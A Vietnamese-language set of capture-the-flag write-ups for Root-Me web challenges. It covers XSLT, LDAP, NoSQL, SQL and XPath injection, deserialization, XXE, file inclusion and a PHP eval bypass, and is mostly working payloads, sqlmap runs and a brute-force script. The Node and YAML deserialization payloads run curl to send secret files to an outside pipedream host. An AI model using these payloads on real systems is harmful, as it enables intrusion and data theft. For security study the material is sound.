        XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/> 
    </xsl:template> 
</xsl:stylesheet>

Screenshot 2022-05-21 094955

<?xml version="1.0" encoding="utf-8"?> 
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 
    <xsl:template match="/"> 
        <xsl:value-of select="php:function('opendir','.')"/>
        <xsl:value-of select="php:function('readdir')"/> /
        <xsl:value-of select="php:function('readdir')"/>  /
        <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                <xsl:value-of select="php:function('readdir')"/>/
                ....
    </xsl:template> 
</xsl:stylesheet>

Screenshot 2022-05-21 095627

  • Có cái folder nghi nghi mở ra là có flag.

    Screenshot 2022-05-21 095746

<?xml version="1.0" encoding="utf-8"?> 
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 
    <xsl:template match="/"> 
        <xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
    </xsl:template> 
</xsl:stylesheet>
Password: X5L7_R0ckS

44. LDAP injection - Authentication

  • Xác thực nguời dùng đơn giản (Simple Authtication) . Đối với xác thực nguời dùng đơn giản, tên đăng nhập trong DN được gửi kèm cùng với một mật khẩu dưới dạng clear text tới máy chủ LDAP. Máy chủ sẽ so sánh mật khẩu với giá trị thuộc tính userPassword hoặc với những giá trị thuộc tính đã được định nghĩa truớc trong entry cho DN đó. . Nếu mật khẩu được lưu dưới dạng bị băm (mã hoá), máy chủ sẽ sử dụng hàm băm tương ứng để biến đối mật khẩu đưa vào và so sánh giá trị đó với giá trị mật khẩu đã mã hoá từ trước. . Nếu cả hai mật khẩu trùng nhau, việc xác thực client sẽ thành công.

  • Đầu tiên đề bài sẽ đưa ra 2 form input username và password.

  • Vì đây là LDAP injection nên check bằng ")" xem thì bị trả về lỗi.

Username=)
ERROR : Invalid LDAP syntax : (&(uid=))(userPassword=))
  • Theo lý thuyết thì có thể điền
(&(uid=*)(userPassword=*))
- Nhưng hình như userPassword đã bị filter "*" nên không thực hiện được
  • Payload:
Username= *)(|(1=1
Password= *)

=> (&(uid=*)(|(1=1)(userPassword=*))
- Thì 2 vế luôn đúng nên thành công.
- Chú ý là chủ yếu bypass dấu * của Password chứ vế (1=1) không quan trọng có thể thay thế (1=0),('a'='b') thì nó vẫn đúng thôi.

=> Flag: SWRwehpkTI3Vu2F9DoTJJ0LBO

45. Node - Serialize

  • Ban đầu họ cho cái login thì đăng nhâp admin admin vô. Thấy tự động serialize cái data login và base64 nó lên cookie profile.

  • Có thể họ xác nhận đăng nhập bằng cookie vậy nên trong server phải có deserialize thì mới check login được.

  • Có thể truyền payload để thực thi câu lệnh ở trên server và trả về binrequest.

payload: profile = {
    "userName":"admin","passWord":"_$$ND_FUNC$$_function (){
      require('child_process').exec('curl -X POST https://eoju8jq9sf7c3et.m.pipedream.net -d \" $(cat ./flag/secret) \"',function(error, stdout, stderr) 
      {
        console.log(stdout) ;
      } 
      );
    }()"
  }
  • Flag:

    Screenshot 2022-05-24 093605

46. NodeJS - Prototype Pollution Bypass

  • Prototype là cơ chế mà các object trong javascript kế thừa các tính năng từ một object khác. Tất cả các object trong javascript đều có một prototype, và các object này kế thừa các thuộc tính (properties) cũng như phương thức (methods) từ prototype của mình.

  • Một số lưu ý

  object.constructor.prototype = object.__proto__

47. NoSQL injection - Authentication

  • Mở đầu thì thấy form đăng nhập thì đây là lỗi về nosql.

  • Bật burp suite thao tác cho dễ.

  • Đầu tiên vẫn dùng admin và admin thì nhận về bị bad request.

  • Dùng cú pháp của nosql xem thử.

GET /web-serveur/ch38/?login[$ne]=admin&pass[$ne]=admin HTTP/1.1

$ne: là so sánh không bằng (khác)
You are connected as : test
  • Chuyển sang so sánh với test xem.
GET /web-serveur/ch38/?login[$ne]=test&pass[$ne]=admin
You are connected as : admin
  • Có nghĩa là ngoài test và admin còn một số user khác nên dùng $lt(lest than) và $gt(greater than) để xem khoảng ở giữa.
GET /web-serveur/ch38/?login[$lt]=test&login[$gt]=admin&pass[$ne]=admin
You are connected as : flag{nosqli_no_secret_4_you}

48. PHP - Path Truncation

  • Không thể truy cập được trang admin.html vì có thể khi truyền ?page=admin thì sẽ mặc định thêm .php vào đằng sau.

  • Xử lý bằng việc ngắt chuỗi bằng "%00" nhưng không được chắc bị filter rồi.

  • Lỗi PHP PATH TRUNCATION xuất hiện ở PHP < 5.3 là việc tham số của php chỉ đạt được 4096 ký tự nếu quá thì tự động loại bỏ.

  • Giả sử

  ls ./folder/./././././././././ thì cũng chỉ liệt kê folder ấy thôi.
  • Nên ta chèn "./" vào sau để overwrite cái biến page.

  • Payload:

python -c "print('a/../admin.html/'+'./'*2048)"

Congratz! The flag is 110V3TrUnC4T10n

49. PHP - Serialization

  • Đầu tiên thì có form đăng nhập và họ hướng dẫn đăng nhập bằng guest/guest với autologin.

  • Đọc file source lên thấy có 2 cách để login: đăng nhập theo username và password hoặc đăng nhập bằng cookie autologin.

if($_SESSION['login'] === "superadmin"){
    require_once('admin.inc.php');
}
  • Như vậy là login là "superadmin" và trong session[login] là được.

  • Để tạo ra session[login] thì phải bypass qua hàm này

if ($data['password'] == $auth[ $data['login'] ] ) {
        $_SESSION['login'] = $data['login'];

        // set cookie for autologin if requested
        if($_POST['autologin'] === "1"){
            setcookie('autologin', serialize($data));
        }
    }
  • Hàm này là một hàm so sánh lỏng lẻo nếu truyền data[password] vào là true thì so sánh giữa true với chuỗi luôn đúng.
if ($data['password'] == $auth[ $data['login'] ] )
payload: 
autologin=a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}
Flag: NoUserInputInPHPSerialization!

Screenshot 2022-05-24 111841

50. SQL injection - Numeric

  • Đầu tiên họ cho 1 form đăng nhập sau khi dò thì tìm được lỗi sql trên thanh url và dùng SQLite3.

  • Đầu tiên vẫn kiểm tra số cột có thể tấn công.

news_id=1 order by 10--
Warning: SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 3 in /challenge/web-serveur/ch18/index.php on line 80
1st ORDER BY term out of range - should be between 1 and 3
  • Có vẻ là có 3 cột.
news_id=1 union select 1,2,3--
News
2
3
=> Chỉ có thể tấn công vào cột 2,3.
  • Tiếp tra số bảng
news_id=1 union select NULL,NULL,sql from sqlite_master--


CREATE TABLE news(id INTEGER, title TEXT, description TEXT)
CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)
  • Vô đọc bảng users thôi.
news_id=1 union select NULL,username,password from users--

username = admin
password = aTlkJYLjcbLmue3

51. SQL Injection - Routed

  • SQL Injection - Routed là cách tiêm vào để thoát được 2 query lồng nhau do Routed lấy kết quả của query trước để làm tài nguyên cho câu query sau.

  • Tìm thì thấy lỗ hổng ở thanh search. Vì là query lồng nhau nên tìm số bảng đầu tiên.

login='union select 1' order by 10 -- - -- -

Attack detected!
  • Vì key order by đã bị FILTER nên tìm hiểu thì có thể dùng mã hex để bypass. Qua thử từng cái thì tìm được có 2 cột.
login='union select 1' order by 3 -- - -- -
=> login='union select 1' 0x276f726465722062792033202d2d202d -- -
Unknown column '3' in 'order clause'
  • Sau khi thử select 1,2 thì có thể khai thác được cả 2 cột.

  • Tiếp đến tìm tên DB có thể xem cheat sheet ở đây

https://portswigger.net/web-security/sql-injection/cheat-sheet
login='union select 'union select NULL,@@version-- - -- -
=> login='union select 0x27756e696f6e2073656c65637420404076657273696f6e2e4e554c4c2d2d202d -- -

[+] Requested login: ' union select 0x27756e696f6e2073656c656374204e554c4c2c404076657273696f6e2d2d202d -- -<br>
[+] Found ID: <br>
[+] Email: 10.3.34-MariaDB-0ubuntu0.20.04.1<br>
  • Vì MariaDB khá tương đồng với MySQL nên dùng cheat sheet của MySQL luôn.

  • Tìm tên bảng.

login='union select ' union select NULL,table_name from information_schema.tables where table_schema = database() -- - -- -
=> login = 'union select ' 0x27756e696f6e2073656c656374204e554c4c2c7461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2064617461626173652829202d2d202d  -- -

[+] Requested login: ' union select 0x27756e696f6e2073656c656374204e554c4c2c7461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2064617461626173652829202d2d202d -- -<br>
[+] Found ID: <br>
[+] Email: users<br>
  • Hiện tên cột trong bảng user
login='union select ' union SELECT NULL,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'-- - -- -
=> login = 'union select ' 0x2720756e696f6e2053454c45435420312c67726f75705f636f6e63617428636f6c756d6e5f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d20277573657273272d2d202d  -- -

[+] Found ID: 1<br>
[+] Email: id,login,password,email<br>
  • Hiện login và password là xong.
login='union select 'union SELECT NULL,group_concat(login,'-',password) FROM users-- - -- -
=> login = 'union select ' 0x27756e696f6e2053454c454354204e554c4c2c67726f75705f636f6e636174286c6f67696e2c27202d20272c70617373776f7264292046524f4d2075736572732d2d202d  -- -

[+] Email: admin - qs89QdAs9A,jean - superpass,michel - mypass<br>

52. SQL Truncation

  • Truncation nghĩa là cắt bớt input.

  • Đọc source code thì có phần gợi ý về bảng user

<!--
CREATE TABLE IF NOT EXISTS user(   
    id INT NOT NULL AUTO_INCREMENT,
    login VARCHAR(12),
    password CHAR(32),
    PRIMARY KEY (id));
-->
  • Thì trang web có cho 2 path đăng kí và đăng nhập. Đầu tiên đăng kí tài khoản admin thì nó báo đã tồn tại nên việc bây giờ là bypass admin.

  • Vì cột login chỉ có 12 kí tự nên nếu ta điền vượt quá thì nó sẽ tự động cắt bớt nên sẽ điền như sau.

login = admin       aaaa
password = 12345678
=> admin: 5 ký tự nên cần thêm 7 ký tự trắng nữa là được   

Well done ! Flag de validation / Validation flag : J41m3Qu4nD54Tr0nc

53. XML External Entity

  • Đây là lỗi XXE cơ bản nên đọc thẳng file index.php là xong.

  • Dùng filter stream php tại bị filter 1 số lệnh.

  • Payload

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> 
]>
<rss version="2.0">

<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>&xxe;</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>https://www.w3schools.com/xml</link>
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>

</rss>

Screenshot 2022-05-21 161605

  • Gửi bằng pastebin thì được decode base64 thì được đoạn này.
 if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
    {
        $user=$_POST["username"];
        $pass=$_POST["password"];
        if($user === "admin" && $pass === "".file_get_contents(".passwd").""){
            print "Flag: ".file_get_contents(".passwd")."<br />";
        }
    }
  • Đọc file .passwd là xong.
Flag: c934fed17f1cac3045ddfeca34f332bc

54. XPath injection - Authentication

  • Thì ban đầu họ cho một bảng user bằng XML có vẻ cần đăng nhập vào admin John

    Screenshot 2022-05-21 163842

  • Vì đây là xác thực theo XPath nên có thể hình dung ra được cách login

String xpathQuery = "//user[name/text()='" + request.get("username") + "' And password/text()='" + request.get("password") + "']";
  • Payload là:
username: John' or '1'='1
password: abcd

=> String xpathQuery = "//user[name/text()='John' or '1'='1 ' And password/text()='abcd']";

Flag: 6FkC67ui8njEepIK5Gr2Kwe

55. Yaml - Deserialization

  • YAML là 1 định dạng dũ liệu trung gian được thiết kế để người dùng và các ngôn ngữ lập trình cùng hiểu được. YAML được dùng vào mục đích tương tự JSON, XML nhưng nó lại có nhiều tính năng nổi bật hơn vì cấu trúc dữ liệu linh hoạt hơn, hỗ trợ nhiều ngôn ngữ lập trình, diễn đạt và mở rộng dữ liệu hơn và dễ sử dụng vì khá có nhiều kiểu dữ liệu lập trình.

  • Khởi đầu thì họ cho dữ liệu kiểu yaml truyền qua thanh url.

  • Khi deserialize yaml với load thì function trong data có thể sẽ thực thi nên đọc được file.

  • Payload:

yaml: !!python/object/apply:os.system ['curl -X POST https://eoj7k4x1ldxqxe7.m.pipedream.net -d "$(cat .passwd)"']
=> encode base64 r gửi qua url là thành công.

Screenshot 2022-05-24 160820

58. Local File Inclusion - Wrappers

  • Thì đầu tiên thử LFI bình thường ../../../etc/passwd thì bị filter rồi.

  • Đề bài hướng dẫn là dùng Wrappers thêm cả LFI thì sau 1 hồi tra mạng thì họ hướng dẫn dùng file zip.

- Tạo 1 file tên a.php
<?php
        echo file_get_contents("index.php");
?>
- Zip nó rồi chuyển sang đuôi jpg
$ zip a.zip a.php
$ mv a.zip a.jpg
- Up nó lên rồi đọc với trường page=zip://tmp/uploads/tenfile.jpg%23tenfilephp

Screenshot 2022-05-24 143630

  • Đọc được rồi giờ dò file path là ok nhưng vì server filter system và exec nên dùng lệnh scandir.
<?php
  $scan = scandir('./'); 
  foreach($scan as $file){
    echo $file;
  }
?>

Screenshot 2022-05-24 144244

  • Đọc file đó là có flag.
<?php
        echo file_get_contents("./flag-mipkBswUppqwXlq9ZydO.php");      
?>

Screenshot 2022-05-24 144947

59. PHP - Eval

  • Đầu tiên nhìn source thấy phần input có hàm eval input.
if (isset($_POST['input'])) {
    if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
        print '<fieldset><legend>Result</legend>';
        eval('print '.$_POST['input'].";");
        print '</fieldset>';
    }
    else
        echo "<p>Dangerous code detected</p>";
}
- Tạo kí tự A:
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A

=> Ký tự B là $_++; rồi dần dần tìm chữ cái cần muốn rồi nối chuỗi vào là xong.
=> Chuỗi cần điền: SYSTEM(CAT[STRTOLOWER(.PASSWD())])

payload:

$_=[];
$_=@"$_"; 
$_=$_['!'=='@']; ;
$___=$_; 
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$___=$__; 
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__; 
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__; 
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$___.=$__; 
$__=$_;
++$__;++$__;++$__;++$__; 
$___.=$__; 
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;

$_____ = '';
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$_____.=$__;
$__=$_;

$____='';
++$__;++$__;
$____.=$__;
$__=$_;
$____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$____.=$__;
$__=$_;

$______='.';
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$______.=$__;
$__=$_;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$______.=$__;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; 
$______.=$__;
$__=$_;
++$__;++$__;++$__;
$______.=$__;
$__=$_;
$__________ = $____." ".$______ ;
$___($_____($__________ ))
Flag: M!xIng_PHP_w1th_3v4l_L0L

61. SQL injection - Error

  • Đầu tiên phát hiện lỗi sql ở trang content vì dựa vào tham số order nên có thể đoán được hàm dùng là order by ...

  • Ở đây dùng hàm Cast() để ép kiểu truyền vào là số nguyên phù hợp với order by.

  • Tìm tên bảng vì có nhiều bảng nên limit 1 vào.

GET /web-serveur/ch34/?action=contents&order=,CAST((select table_name from information_schema.tables limit 1) as int)-- - HTTP/1.1

ERROR:  invalid input syntax for integer: "m3mbr35t4bl3"
  • Vì chỉ có thể hiện được một kết quả nên dùng offset (Chức năng là lấy dữ liệu bỏ qua offset đầu)

  • Vì có nhiều cột nên thay đổi offset từ 1->... nhưng chỉ cần quan tâm 2 cột đầu là username và password.

GET /web-serveur/ch34/?action=contents&order=,CAST((select column_name from information_schema.columns limit 1 offset 1) as int)-- - HTTP/1.1

C1: us3rn4m3_c0l
C2: p455w0rd_c0l
C3: em41l_c0l
.......
  • Lấy username và password thôi
GET /web-serveur/ch34/?action=contents&order=,CAST((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)-- - HTTP/1.1

ERROR:  invalid input syntax for integer: "admin"

GET /web-serveur/ch34/?action=contents&order=,CAST((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)-- - HTTP/1.1

ERROR:  invalid input syntax for integer: "1a2BdKT5DIx3qxQN3UaC"
Password: 1a2BdKT5DIx3qxQN3UaC

63. File - Reading

  • Đầu tiên chương trình cho một form đăng nhập nhưng chỉ cần chú ý đến members vì chứa câu query tại đó

    Screenshot 2022-04-12 154239

  • Dùng sql map để dò database thì ta tìm được 3 databases một db thông tin và db test không có gì cả.

sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --dbs
...
available databases [3]:                                                                                               
[*] c_webserveur_31
[*] information_schema
[*] test
  • Tiếp đó là đi tìm từng table trong db c_webserveur_31 tìm được một table member
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" -D c_webserveur_31 --tables
...
Database: c_webserveur_31
[1 table]
+--------+
| member |
+--------+
  • Dump vào bảng member để xem thông tin thành viên
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" -D c_webserveur_31 -T member --dump
...
Database: c_webserveur_31
Table: member
[1 entry]
+-----------+-------------------------------+--------------+----------------------------------------------------------+
| member_id | member_email                  | member_login | member_password                                          |
+-----------+-------------------------------+--------------+----------------------------------------------------------+
| 1         | admin@super-secure-webapp.org | admin        | VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA== |
+-----------+-------------------------------+--------------+----------------------------------------------------------+
  • Như vậy là đã có password của member admin nhập thử vào form nhưng bị báo là sai pass. Có một điều đặc biệt là pass có '==' ở cuối đoán là base64 và thử decode rồi điền vào form nhưng vẫn sai pass.

  • Lúc này nhìn lên đề bài thì thấy yêu cầu là đọc file thì có lẽ pass sẽ được mã hóa theo một cách nào đó được viết ở trong source code.

  • Đọc file source về máy thường thì file tên là index.php hoặc index.html tìm lần lượt thì có vẻ source code là index.php.

sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --file-read /challenge/web-serveur/ch31/index.php 
...
[04:19:59] [INFO] the local file '/home/kali/.local/share/sqlmap/output/challenge01.root-me.org/files/_challenge_web-serveur_ch31_index.php' and the remote file '/challenge/web-serveur/ch31/index.php' have the same size (3359 B)            
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/challenge01.root-me.org/files/_challenge_web-serveur_ch31_index.php (same file)
  • Và đây là source code
<html>
<header><title>SQL injection - FILE</title></header>
<body>
<h3><a href="?action=login">Authentication</a>&nbsp;|&nbsp;<a href="?action=members">Members</a></h3><hr />

<?php

define('SQL_HOST',      '/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');

function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";

$GLOBALS["___mysqli_ston"] = mysqli_connect('', SQL_LOGIN, SQL_P, "", 0, SQL_HOST) or exit('mysql connection error !');
mysqli_select_db($GLOBALS["___mysqli_ston"], SQL_DB) or die("Database selection error !");

if($_GET['action'] == "login"){
        print '<form METHOD="POST">
                <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
                <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
                <p><input value=submit type=submit /></p>
                </form>';

        if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
        {
                $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], strtolower($_POST['username']));
                $pass = sha1($_POST['password']);

                $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT member_password FROM member WHERE member_login='".$user."'");
                if(mysqli_num_rows($result) == 1)
                {
                        $data = mysqli_fetch_array($result);
                        if($pass == stringxor($key, base64_decode($data['member_password']))){
                                // authentication success
                                print "<p>Authentication success !!</p>";
                                if ($user == "admin")
                                    print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
                                else 
                                    print "<p>But... you're not admin !</p>";
                        }
                        else{
                                // authentication failed
                                print "<p>Authentication failed !</p>";
                        }
                }
                else{
                        print "<p>User not found !</p>";
                }
        }
}
)

if($_GET['action'] == "members"){
        if(isset($_GET['id']) && !empty($_GET['id']))
        {
                // secure ID variable
                $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['id']);
                $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member WHERE member_id=$id") or die(mysqli_error($GLOBALS["___mysqli_ston"]));

                if(mysqli_num_rows($result) == 1)
                {
                        $data = mysqli_fetch_array($result);
                        print "ID : ".$data["member_id"]."<br />";
                        print "Username : ".$data["member_login"]."<br />";
                        print "Email : ".$data["member_email"]."<br />";        
                }
                else{
                        print "no result found";
                }
        }
        else{
                $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member");
                while ($row = mysqli_fetch_assoc($result)) {
                        print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
                }
        }
}

?>
</body>
</html>
  • Ta chỉ cần để ý 2 hàm này
function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
if($pass == stringxor($key, base64_decode($data['member_password'])))
  • Có vẻ pass là xor từng bytes giữa member_password và $key

  • Viết chương trình đơn giản để lấy pass

<?php
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i])); 
    return $res;
}
$q = stringxor($key, base64_decode("VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA=="));
echo $q;
?>

$ php test.php
77be4fc97f77f5f48308942bb6e32aacabed9cef
  • Và pass kia là mã hóa dạng sha1 nên decrypt là ra mật khẩu rồi submit là thành công.

Screenshot 2022-04-12 161635

64. XPath injection - String

  • Đầu tiên thì họ cho cái form để search thành viên.

  • Đây là theo kiểu string xpath nên có thể injection được.

  • Thường thì cấu trúc search nó sẽ như thế này.

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
  • Ở đây dùng get all values
') or 2=1] | //user/node()[('')=('

2
Harry
MB5PRCvfOXiYejMcmNTI => Flag
administrator
Harry@admin.org

65. NoSQL injection - Blind

  • Đề yêu cầu bản demo của nosqlblind

  • Vì đầy là blind nên dùng [regex] để tìm kiếm flag chuẩn dựa vào bruteforce.

  • Input đầu vào với 2 param là chall_name và flag.

  • Check từng ký tự xem flag và khi check đúng sẽ nhận được mes "Yeah this is the flag for nosqlblind!"

  • Tool tìm flag

import urllib
import requests
import tqdm
import string
url = 'http://challenge01.root-me.org/web-serveur/ch48/index.php'

list_char = string.digits + string.ascii_letters + '\\'.join(list('!@#$%^&*()_+{}:"<>?-=[];\',./'))

pad = ''
flags = ''
flag_find = 0
while True:
    for x in list_char:
        if x == '\\':
            pad = '\\'
            continue
        x = pad+x
        pad = ''
        payload = '^' + flags + x +'.*' #Truy vấn các chuỗi bắt đầu từ '^flag' và kết thúc là '*'
        print('payload : ' + payload)
        params = {'chall_name' : 'nosqlblind', 'flag[$regex]' : payload}
        res = requests.get(url, params = params)
        if res.text.find('Yeah') != -1:
            flags += x.replace('\\', '')
            flag_find = 1
            break
    if flag_find != 1:
        break
    flag_find = 0

print ('flag: ' + flags)
flag: 3@sY_n0_5q7_1nj3c710n

69. SQL injection - Blind

  • Đầu tiên cho 1 form đăng nhập input thì vẫn thử như bình thường
username=admin'or 1=1--
  • Thì đăng nhập thành công nhưng không thông báo gì cả.

  • Cần phải lấy password thì trước tiên kiểm tra độ dài password đã

username=admin'+and+(select+length(password)+from+users+where+(username='admin'))=8--&password=aa
=> Thành công
  • Bruteforce password
username=admin'+and+substr((select+password+from+users+where+(username='admin')),§1§,1)='§a§'--&password=aa

Payload1: 123456789
Payload2: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}:"<>?-=[];',./

Screenshot 2022-05-27 135149

  • Ngồi đợi một lúc là ra
Flag: e2azO93i

70. SQL injection - Time based

  • Time-based – Hacker sẽ gửi một truy vấn SQL đến Cơ sở dữ liệu, làm cho Cơ sở dữ liệu đợi (trong vài giây) trước khi có thể hoạt động. Sau đó, hacker có thể xem từ thời gian Cơ sở dữ liệu cần để phản hồi, một truy vấn là đúng hay sai. Dựa trên kết quả, một HTTP repsonse sẽ được tạo ra. Vì vậy hacker có thể tìm ra thông báo mà chúng đã sử dụng trả về đúng hay sai, không cần dựa vào dữ liệu từ Cơ sở dữ liệu.

  • Đầu tiên thực hiện câu truy vấn có thì kết quả trả về 3000ms nên khai thác được.

    Screenshot 2022-05-27 150440

  • Tìm length và tên của dbs

action=member&member=1;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--

action=member&member=1;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--
  • Xong như sqli blind tìm length và password của user nhưng dò hơi lâu nên dùng luôn sqlmap. Lưu request vào file test.txt
python3 sqlmap.py -r test.txt --tables

Database: public
[1 table]
+-------+
| users |
+-------+
  • Chọn time-sec = 3
~/sqlmap# python3 sqlmap.py -r test.txt --time-sec=3 -T users --column

Database: public
Table: users
[6 columns]
+-----------+---------+
| Column    | Type    |
+-----------+---------+
| email     | varchar |
| firstname | varchar |
| id        | int4    |
| lastname  | varchar |
| password  | varchar |
| username  | varchar |
+-----------+---------+
  • Đọc username và password là xong
